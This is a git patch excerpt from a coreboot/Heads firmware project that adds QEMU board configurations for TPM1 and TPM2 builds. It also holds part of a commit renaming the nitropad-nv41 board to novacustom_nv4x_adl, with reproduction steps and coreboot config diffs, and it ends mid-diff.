b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config new file mode 100644 index 000000000..20c99137c --- /dev/null +++ b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config @@ -0,0 +1,95 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in console mode thanks to Whiptail +# +# TPM can be used with a qemu software TPM (TIS, 1.2). +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y +#FBWhiptail based (Graphical): +#CONFIG_CAIRO=y +#CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config new file mode 100644 index 000000000..e1858e25a --- /dev/null +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config @@ -0,0 +1,96 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in console mode thanks to Whiptail +# This version requires a supported HOTP Security dongle (Nitrokey Pro/Storage or Librem Key) +# +# TPM can be used with a qemu software TPM (TIS, 2.0). +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y +#FBWhiptail based (Graphical): +#CONFIG_CAIRO=y +#CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config new file mode 100644 index 000000000..cef49da5e --- /dev/null +++ b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config @@ -0,0 +1,95 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in console mode thanks to Whiptail +# +# TPM can be used with a qemu software TPM (TIS, 2.0). +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y +#FBWhiptail based (Graphical): +#CONFIG_CAIRO=y +#CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu From 9fccfb46270a71f0dc561c2f1c7c04e88df9d59a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 11 Sep 2024 12:44:10 -0400 Subject: [PATCH 333/619] Change board name from nitropad-nv41 -> novacustom_nv4x_adl - Move/rename board config - Rename coreboot config - Applies changes to coreboot config from defconfig+dasharo coreboot fork config + fixes - Rename CircleCI board for rom build ----- Repro: First: change some oldconfig defaults from dasharo coreboot fork git checkout -b move_nitropad-nv41_to_novacustom-v41 mv boards/nitropad-nv41 boards/novacustom_nv4x_adl mv boards/novacustom_nv4x_adl/nitropad-nv41.config boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config vim boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config vim config/coreboot-nitropad-nv41.config mv config/coreboot-nitropad-nv41.config config/coreboot-novacustom_nv4x_adl.config vim boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=novacustom_nv4x_adl coreboot.modify_and_save_oldconfig_in_place cd /home/user/heads/build/x86/coreboot-dasharo sudo make menuconfig cd ~/heads sudo meld /home/user/heads/build/x86/coreboot-dasharo/.config config/coreboot-novacustom_nv4x_adl.config git status git add boards/nitropad-nv41/nitropad-nv41.config config/coreboot-nitropad-nv41.config config/coreboot-novacustom_nv4x_adl.config config/coreboot-novacustom_nv4x_adl.config git add boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config sed -i 's/nitropad-nv41/novacustom_nv4x_adl/g' .circleci/config.yml git add .circleci/config.yml git commit --sigoff -m git push tlaurion-github --force ... (and multiple 'git commit --signoff --amend' to add traces below) ---- Relevant changes from nitropad-nv41 coreboot configs: diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-novacustom_nv4x_adl.config index 9484aaf512..235f255a31 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-novacustom_nv4x_adl.config @@ -111,7 +111,7 @@ CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_UP is not set CONFIG_MAINBOARD_FAMILY="Not Applicable" CONFIG_MAINBOARD_PART_NUMBER="nv40pz" -CONFIG_MAINBOARD_VERSION="v2.1" +CONFIG_MAINBOARD_VERSION="nv40pz" CONFIG_MAINBOARD_DIR="clevo/adl-p" CONFIG_DIMM_MAX=4 CONFIG_DIMM_SPD_SIZE=512 @@ -131,7 +131,7 @@ CONFIG_VBOOT_VBNV_OFFSET=0x28 CONFIG_VARIANT_DIR="nv40pz" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Notebook" CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" # CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 @@ -140,7 +140,7 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_BOARD_CLEVO_ADLP_COMMON=y CONFIG_BOARD_CLEVO_NV40PZ_BASE=y -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NV41" +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="NV4xPZ" CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set CONFIG_TPM_PIRQ=0x27 When comparing against dasharo/coreboot fork coreboot config saved in oldconfig format, diffs: diff --git a/config/coreboot-novacustom_nv4x_adl.config b/config/coreboot-novacustom_nv4x_adl.config index 235f255a31..41bdd7889c 100644 --- a/config/coreboot-novacustom_nv4x_adl.config +++ b/config/coreboot-novacustom_nv4x_adl.config @@ -7,19 +7,19 @@ # General setup # CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" +CONFIG_LOCALVERSION="v1.7.2" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set +CONFIG_CCACHE=y # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set -CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +# CONFIG_USE_UEFI_VARIABLE_STORE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set CONFIG_INCLUDE_CONFIG_FILE=y @@ -35,12 +35,7 @@ CONFIG_HAVE_ASAN_IN_RAMSTAGE=y # CONFIG_NO_STAGE_CACHE is not set CONFIG_TSEG_STAGE_CACHE=y # CONFIG_UPDATE_IMAGE is not set -CONFIG_BOOTSPLASH_IMAGE=y -CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" -CONFIG_BOOTSPLASH_CONVERT=y -CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_BOOTSPLASH_IMAGE is not set # CONFIG_FW_CONFIG is not set # @@ -111,14 +106,14 @@ CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_UP is not set CONFIG_MAINBOARD_FAMILY="Not Applicable" CONFIG_MAINBOARD_PART_NUMBER="nv40pz" -CONFIG_MAINBOARD_VERSION="nv40pz" +CONFIG_MAINBOARD_VERSION="v2.1" CONFIG_MAINBOARD_DIR="clevo/adl-p" CONFIG_DIMM_MAX=4 CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" +CONFIG_FMDFILE="src/mainboard/$(CONFIG_MAINBOARD_DIR)/vboot-rwa.fmd" # CONFIG_NO_POST is not set CONFIG_MAINBOARD_VENDOR="Notebook" -CONFIG_CBFS_SIZE=0x1000000 +CONFIG_CBFS_SIZE=0xA00000 # CONFIG_CONSOLE_SERIAL is not set CONFIG_MAX_CPUS=24 CONFIG_ONBOARD_VGA_IS_PRIMARY=y @@ -126,8 +121,9 @@ CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_IO is not set CONFIG_UART_FOR_CONSOLE=0 CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set +CONFIG_VBOOT=y CONFIG_VBOOT_VBNV_OFFSET=0x28 +CONFIG_RO_REGION_ONLY="" CONFIG_VARIANT_DIR="nv40pz" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -143,10 +139,12 @@ CONFIG_BOARD_CLEVO_NV40PZ_BASE=y CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="NV4xPZ" CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set -CONFIG_TPM_PIRQ=0x27 +CONFIG_VBOOT_SLOTS_RW_A=y +CONFIG_TPM_PIRQ=0x0 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_PXE_ROM_ID="10ec,8168" CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" @@ -156,20 +154,28 @@ CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_VBOOT_NO_BOARD_SUPPORT=y +CONFIG_RW_REGION_ONLY="" CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_VBOOT_ALWAYS_ALLOW_UDC is not set +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x100000 +CONFIG_EDK2_BOOT_TIMEOUT=2 CONFIG_VBT_DATA_SIZE_KB=9 +CONFIG_VBOOT_FWID_MODEL="$(CONFIG_MAINBOARD_VENDOR)_$(CONFIG_MAINBOARD_PART_NUMBER)" +CONFIG_VBOOT_STARTS_IN_BOOTBLOCK=y CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set +CONFIG_GBB_HWID="" # CONFIG_DEBUG_SMI is not set CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=42 CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 +# CONFIG_VBOOT_SLOTS_RW_AB is not set CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" @@ -193,8 +199,8 @@ CONFIG_PCIEXP_CLK_PM=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x10000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EDK2_BOOTSPLASH_FILE="3rdparty/dasharo-blobs/novacustom/bootsplash.bmp" CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set @@ -399,7 +405,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y @@ -417,7 +423,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y -# CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set +CONFIG_ENABLE_EARLY_DMA_PROTECTION=y CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y @@ -508,15 +514,15 @@ CONFIG_EC_SYSTEM76_EC_DGPU=y # # Intel Firmware # -CONFIG_IFDTOOL_DISABLE_ME=y +# CONFIG_IFDTOOL_DISABLE_ME is not set CONFIG_HAVE_ME_BIN=y # CONFIG_STITCH_ME_BIN is not set # CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set CONFIG_HAVE_INTEL_ME_HAP=y # CONFIG_INTEL_ME_DISABLED_HECI is not set -CONFIG_INTEL_ME_DISABLED_HAP=y -# CONFIG_INTEL_ME_ENABLED is not set -CONFIG_INTEL_ME_DEFAULT_STATE=2 +# CONFIG_INTEL_ME_DISABLED_HAP is not set +CONFIG_INTEL_ME_ENABLED=y +CONFIG_INTEL_ME_DEFAULT_STATE=0 # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y @@ -529,7 +535,7 @@ CONFIG_BIOS_VENDOR="3mdeb" # # Dasharo Configuration # -CONFIG_DASHARO_PREFER_S3_SLEEP=y +# CONFIG_DASHARO_PREFER_S3_SLEEP is not set # end of Dasharo Configuration CONFIG_UDK_BASE=y @@ -550,8 +556,6 @@ CONFIG_X86_CUSTOM_BOOTMEDIA=y CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_IDT_IN_EVERY_STAGE=y CONFIG_HAVE_CF9_RESET=y @@ -575,9 +579,10 @@ CONFIG_NO_EARLY_GFX_INIT=y # # Display # +CONFIG_WANT_LINEAR_FRAMEBUFFER=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y -CONFIG_BOOTSPLASH=y +# CONFIG_BOOTSPLASH is not set # end of Display CONFIG_PCI=y @@ -610,17 +615,21 @@ CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # Generic Drivers # CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +CONFIG_DRIVERS_EFI_VARIABLE_STORE=y # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set +CONFIG_HAS_RECOVERY_MRC_CACHE=y +CONFIG_MRC_SAVE_HASH_IN_TPM=y +CONFIG_SMMSTORE=y +CONFIG_SMMSTORE_V2=y +CONFIG_SMMSTORE_SIZE=0x40000 CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set +CONFIG_TPM_PPI=y CONFIG_DRIVERS_UART=y CONFIG_NO_UART_ON_SUPERIO=y CONFIG_DRIVERS_UART_8250MEM=y @@ -669,7 +678,7 @@ CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_USE_PC_CMOS_ALTCENTURY=y CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 @@ -695,6 +704,50 @@ CONFIG_DRIVERS_INTEL_USB4_RETIMER=y # Verified Boot (vboot) # CONFIG_VBOOT_LIB=y +CONFIG_VBOOT_VBNV_CMOS=y +CONFIG_VBOOT_VBNV_CMOS_BACKUP_TO_FLASH=y +# CONFIG_VBOOT_MOCK_SECDATA is not set +CONFIG_VBOOT_MUST_REQUEST_DISPLAY=y +CONFIG_VBOOT_ALWAYS_ENABLE_DISPLAY=y +CONFIG_VBOOT_HAS_REC_HASH_SPACE=y +CONFIG_CBFS_MCACHE_RW_PERCENTAGE=50 +CONFIG_VBOOT_CLEAR_RECOVERY_EACH_BOOT=y +# CONFIG_VBOOT_EC_EFS is not set +CONFIG_VBOOT_X86_SHA256_ACCELERATION=y + +# +# GBB configuration +# +CONFIG_GBB_BMPFV_FILE="" +# CONFIG_GBB_FLAG_DEV_SCREEN_SHORT_DELAY is not set +# CONFIG_GBB_FLAG_LOAD_OPTION_ROMS is not set +# CONFIG_GBB_FLAG_ENABLE_ALTERNATE_OS is not set +# CONFIG_GBB_FLAG_FORCE_DEV_SWITCH_ON is not set +CONFIG_GBB_FLAG_FORCE_DEV_BOOT_USB=y +CONFIG_GBB_FLAG_DISABLE_FW_ROLLBACK_CHECK=y +# CONFIG_GBB_FLAG_ENTER_TRIGGERS_TONORM is not set +# CONFIG_GBB_FLAG_FORCE_DEV_BOOT_ALTFW is not set +# CONFIG_GBB_FLAG_RUNNING_FAFT is not set +CONFIG_GBB_FLAG_DISABLE_EC_SOFTWARE_SYNC=y +# CONFIG_GBB_FLAG_DEFAULT_DEV_BOOT_ALTFW is not set +CONFIG_GBB_FLAG_DISABLE_PD_SOFTWARE_SYNC=y +CONFIG_GBB_FLAG_DISABLE_LID_SHUTDOWN=y +# CONFIG_GBB_FLAG_FORCE_MANUAL_RECOVERY is not set +CONFIG_GBB_FLAG_DISABLE_FWMP=y +# CONFIG_GBB_FLAG_ENABLE_UDC is not set +# end of GBB configuration + +# +# Vboot Keys +# +CONFIG_VBOOT_ROOT_KEY="$(VBOOT_SOURCE)/tests/devkeys/root_key.vbpubk" +CONFIG_VBOOT_RECOVERY_KEY="$(VBOOT_SOURCE)/tests/devkeys/recovery_key.vbpubk" +CONFIG_VBOOT_FIRMWARE_PRIVKEY="$(VBOOT_SOURCE)/tests/devkeys/firmware_data_key.vbprivk" +CONFIG_VBOOT_KERNEL_KEY="$(VBOOT_SOURCE)/tests/devkeys/kernel_subkey.vbpubk" +CONFIG_VBOOT_KEYBLOCK="$(VBOOT_SOURCE)/tests/devkeys/firmware.keyblock" +CONFIG_VBOOT_KEYBLOCK_VERSION=1 +CONFIG_VBOOT_KEYBLOCK_PREAMBLE_FLAGS=0x0 +# end of Vboot Keys # end of Verified Boot (vboot) # @@ -730,10 +783,14 @@ 